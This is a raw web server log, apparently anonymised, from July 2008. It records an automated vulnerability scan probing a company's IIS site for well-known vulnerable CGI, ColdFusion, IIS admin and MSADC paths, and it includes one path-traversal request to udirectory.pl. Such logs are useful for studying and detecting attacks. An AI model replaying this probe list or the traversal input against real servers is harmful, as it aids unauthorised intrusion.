OURSERVERNAME our.ser.ver.ip 80 GET /mylog.html - 404 2 3396 53 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/nph-test-cgi - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/php.cgi - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/quikstore.cgi - 404 3 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/pfdispaly.cgi - 404 3 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/Count.cgi - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/dbmlparser.exe - 404 3 3396 40 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webgais - 404 3 3396 33 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webplus.cgi - 404 3 3396 37 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/websendmail - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webplus.exe - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/Web_Store/web_store.cgi - 404 3 3396 49 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/wrap - 404 3 3396 30 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webdist.cgi - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/w3-msql - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/view-source - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/www-sql - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/Search.pl - 404 3 3396 35 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/YaBB.pl - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfide/administrator/index.cfm - 404 3 3396 47 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /adsamples/config/site.csc - 404 3 3396 43 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /dcforum/dcboard.cgi - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/fpadmcgi.exe - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/iisadmin/ism.dll - 404 3 3396 42 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/samples/ctguestb.idc - 404 0 254 46 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/samples/details.idc - 404 0 254 45 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/gbook/gbook.cgi - 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /samples/search/queryhit.htm - 404 3 3396 45 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/aexp4b.htr - 200 0 311 38 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cgforum.cgi - 404 3 3396 37 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ikonboard/help.cgi - 404 3 3396 45 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/msadcs.dll - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webbbs.exe - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/webbbs.exe - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/samples/adctest.asp |-|0|404_Object_Not_Found 404 0 3555 43 30 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /advworks/equipment/catalog_type.asp |-|0|404_Object_Not_Found 404 0 3555 53 20 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/perl.exe - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /script/tools/newdsn.exe - 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/perl.exe - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/infosrch.cgi - 404 3 3396 38 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/cpshost.dll - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/postinfo.asp |-|0|404_Object_Not_Found 404 0 3555 38 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/repost.asp |-|0|404_Object_Not_Found 404 0 3555 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /IISSamples/ExAir/search/advsearch.asp |-|0|404_Object_Not_Found 404 0 3555 55 10 HTTP/1.0 - - - - 2008-07-29 09:07:19 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /SiteServer/Publishing/viewcode.asp |-|0|404_Object_Not_Found 404 0 3555 52 10 HTTP/1.0 - - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/a1stats/a1disp.cgi - 404 3 3396 69 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/dbmlparser.exe - 404 3 3396 65 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webgais - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webplus.cgi - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/websendmail - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webplus.exe - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/Web_Store/web_store.cgi - 404 3 3396 74 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/wrap - 404 3 3396 55 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webdist.cgi - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/w3-msql - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/view-source - 404 3 3396 62 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/www-sql - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/YaBB.pl - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/Search.pl - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfide/administrator/index.cfm - 404 3 3396 72 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /dcforum/dcboard.cgi - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /adsamples/config/site.csc - 404 3 3396 68 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/fpadmcgi.exe - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/iisadmin/ism.dll - 404 3 3396 67 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/samples/details.idc - 404 0 254 70 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/samples/ctguestb.idc - 404 0 254 71 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/gbook/gbook.cgi - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /samples/search/queryhit.htm - 404 3 3396 70 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cgforum.cgi - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ikonboard/help.cgi - 404 3 3396 70 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iisadmpwd/aexp4b.htr - 200 0 311 63 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/msadcs.dll - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webbbs.exe - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/webbbs.exe - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/perl.exe - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /script/tools/newdsn.exe - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/samples/adctest.asp |-|0|404_Object_Not_Found 404 0 3555 68 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /advworks/equipment/catalog_type.asp |-|0|404_Object_Not_Found 404 0 3555 78 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/perl.exe - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/infosrch.cgi - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/cpshost.dll - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/postinfo.asp |-|0|404_Object_Not_Found 404 0 3555 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/shopper.cgi - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/test-cgi - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/textcounter.pl - 404 3 3396 65 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:21 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /SiteServer/Publishing/viewcode.asp |-|0|404_Object_Not_Found 404 0 3555 77 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cached_feed.cgi - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/counter.exe - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/rguest.exe - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webplus - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/wguest.exe - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/formmail.pl - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/aglimpse - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/build.cgi - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/AnyForm2 - 404 3 3396 34 10 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/awl/auctionweaver.pl - 404 3 3396 46 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-dos/args.bat - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /IISSamples/ExAir/search/query.asp |-|0|404_Object_Not_Found 404 0 3555 51 10 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bbs_forum.cgi - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bsguest.cgi - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bslist.cgi - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /carbo.dll - 404 2 3396 27 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cgiforum.pl - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/iisadmin/bdir.htr - 200 0 311 43 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/campas - 404 3 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs.map - 404 2 3396 28 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/snippets/evaluate.cfm - 404 3 3396 46 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/snippets/fileexists.cfm - 404 3 3396 48 10 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/snippets/gettempdirectory.cfm - 404 3 3396 54 10 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/snippets/viewexample.cfm - 404 3 3396 49 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/cfmlsyntaxcheck.cfm - 404 3 3396 44 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /IISSamples/ExAir/search/search.asp |-|0|404_Object_Not_Found 404 0 3555 52 10 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/exampleapp/email/application.cfm - 404 3 3396 57 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/examples/parks/detail.cfm - 404 3 3396 50 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/exampleapp/publish/admin/addcontent.cfm - 404 3 3396 64 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/examples/cvbeans/beaninfo.cfm - 404 3 3396 54 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/exampleapp/docs/sourcewindow.cfm - 404 3 3396 57 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/exampleapp/email/getfile.cfm - 404 3 3396 53 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/udirectory.pl MAIN_FIELD=blah&command=add_new_listing&category_file=/../../../../../../../ bin/ps 404 3 3396 122 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/examples/httpclient/mainframeset.cfm - 404 3 3396 61 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/mailnews.cgi - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ezshopper2/loadpage.cgi - 404 3 3396 49 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Sites/Samples/Knowledge/Search/ViewCode.asp |-|0|404_Object_Not_Found 404 0 3555 61 0 HTTP/1.0 - - - - 2008-07-29 09:07:22 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ezshopper3/loadpage.cgi - 404 3 3396 49 0 HTTP/1.0 - - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /mall_log_files/order.log - 404 3 3396 42 0 HTTP/1.0 - - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/counter.exe - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/rguest.exe - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webplus - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/wguest.exe - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/formmail.pl - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/aglimpse - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/build.cgi - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/AnyForm2 - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/awl/auctionweaver.pl - 404 3 3396 71 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-dos/args.bat - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /IISSamples/ExAir/search/query.asp |-|0|404_Object_Not_Found 404 0 3555 76 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bbs_forum.cgi - 404 3 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /carbo.dll - 404 2 3396 52 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bslist.cgi - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bsguest.cgi - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cgiforum.pl - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/campas - 404 3 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/iisadmin/bdir.htr - 200 0 311 68 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs.map - 404 2 3396 53 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/snippets/evaluate.cfm - 404 3 3396 71 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/snippets/fileexists.cfm - 404 3 3396 73 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/snippets/viewexample.cfm - 404 3 3396 74 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/cfmlsyntaxcheck.cfm - 404 3 3396 69 0 HTTP/1.0 